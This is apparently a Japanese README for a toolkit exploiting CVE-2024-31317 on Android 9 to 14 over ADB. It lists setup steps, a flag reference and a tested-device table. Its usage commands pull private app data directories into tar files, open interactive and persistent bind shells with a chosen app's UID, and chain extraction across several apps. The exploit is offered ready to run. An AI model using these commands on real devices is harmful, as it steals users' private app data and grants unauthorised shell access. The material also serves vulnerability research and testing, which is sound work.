
これは、CVE-2024-31317を利用して、ADB経由でプライベートアプリデータを抽出したり、アプリのUIDでシェルを起動したりするツールキットです。
これは、CVE-2024-31317 を利用して ADB 経由でプライベートアプリデータを抽出したり、アプリの UID でシェルを起動するツールキットです。この脆弱性は、セキュリティパッチレベル 2024-06-01 以下の Android 9 から 14 に影響します。テスト済みデバイスのサポートマトリックスは以下を参照してください。
sudo apt update
sudo apt install adb openjdk-17-jdk-headless android-sdk android-sdk-build-tools
export ANDROID_HOME=/usr/lib/android-sdk
export PATH=$PATH:$ANDROID_HOME/build-tools/34.0.0:$ANDROID_HOME/platform-tools
export 行を ~/.bashrc(または同等のもの)に追加して永続化してください。
./setup.sh
# キャリア APK のビルドとインストール(ソースから自動ビルド)
python3 cve_2024_31317.py com.google.android.youtube --setup --rebuild -y
# アプリのデータディレクトリを抽出
python3 cve_2024_31317.py -d DEVICE_SERIAL -E -o app_data.tar -y com.example.app
エクスプロイトは初回実行時に Hijack.java と AndroidManifest.xml からすべてをビルドします。
python3 cve_2024_31317.py [flags] [package]
# 抽出
python3 cve_2024_31317.py -d DEVICE -E -o youtube.tar -y com.google.android.youtube
# デバイスが脆弱か確認
python3 cve_2024_31317.py -d DEVICE --check-vuln
# インタラクティブなバインドシェル
python3 cve_2024_31317.py -d DEVICE -i -y com.google.android.youtube
# ポート 7777 で永続シェル
python3 cve_2024_31317.py -d DEVICE -S 7777 -y com.google.android.youtube
# マルチアプライチェーン
python3 cve_2024_31317.py -d DEVICE -E -y --chain-targets "app1,app2,app3"
# リカバリのみ(ブートループ修正)
python3 cve_2024_31317.py -d DEVICE --recover
すべて実行時にソースからビルドされます。ビルドパイプラインは javac(JDK 17+)、d8、aapt、zipalign、apksigner(Android SDK から)を使用します。
デバイスにパスコードがある場合、BFU(初回ロック解除前)の状態になります。エクスプロイトは最大 5 分間 sys.user.0.ce_available をポーリングし、ロック解除を待ちます。エクスプロイトの間はパスコードを解除することを推奨します。
† Samsung One UI 固有: ZNJECT インジェクションは成功し、-E 抽出は機能しますが、toybox nc ServerSocket バインドシェルは開きません。問題の根本原因を調査するにはさらなる研究が必要です。
hidden_api_blacklist_exemptions に残ったペイロードは、次回起動時にブートループを引き起こす可能性があります。リセットするには --recover を実行してください:
python3 cve_2024_31317.py -d DEVICE --recover
| フラグ | 説明 |
|---|
-E | 孫プロセス tar | nc 経由でアプリデータを抽出(親プロセスが強制終了されても継続) |
-i | インタラクティブなバインドシェル REPL |
-S PORT | 永続シェル(FIFO シングルポートプロトコル) |
--recover | 設定をリセットし、ブートハング / Zygote の劣化を修正 |
--setup | キャリア APK のビルド + インストールのみ(インジェクションなし) |
--list-apps | インストール済みパッケージを UID とシステム/ユーザータイプとともに一覧表示 |
--check-vuln | デバイスが CVE-2024-31317 に対して脆弱かどうかを確認して終了 |
| フラグ | 説明 |
|---|
-o file.tar | 抽出 tarball の出力パス |
-y / --yes | 確認プロンプトをスキップ |
--retries N | ターゲットあたりの最大リトライ回数(デフォルト 3) |
--chain-targets "pkg1,pkg2" | 1 回のセッションで複数のアプリを抽出 |
--chain-file file.json | 上記と同じ、JSON ファイルから |
--reboot-after | 抽出後に再起動(Zygote を復元) |
--reboot-every N | N 個のチェーンターゲットごとに再起動 |
--cold | ウォームアップをスキップし、次回のアプリ起動時にペイロードを保存 |
--port PORT | バインドシェルポート(デフォルト 8888) |
-d SERIAL | 特定のデバイスをターゲット(複数接続時) |
--rebuild | キャリア APK の再ビルドを強制 |
| デバイス | Android | API | パッチ | ABI | -E | -i | -S | --chain | --cold | --retries | --recover | --reboot-after | --list-apps | --check-vuln | スコア |
|---|
| Google Pixel 3 | 12 | 31 | 2021-10-05 | arm64-v8a | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | 12/12 |
| Samsung SM-P615 Tab S6 Lite | 13 | 33 | 2024-05-01 | arm64-v8a | ✅ | ❌† | ❌† | ✅ | ✅ | ❌† | ✅ | ✅ | ✅ | ✅ | 9/12 |
| sdk_gphone_x86_64 (エミュレータ) | 10 | 29 | 2019-09-05 | x86_64 | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | 12/12 |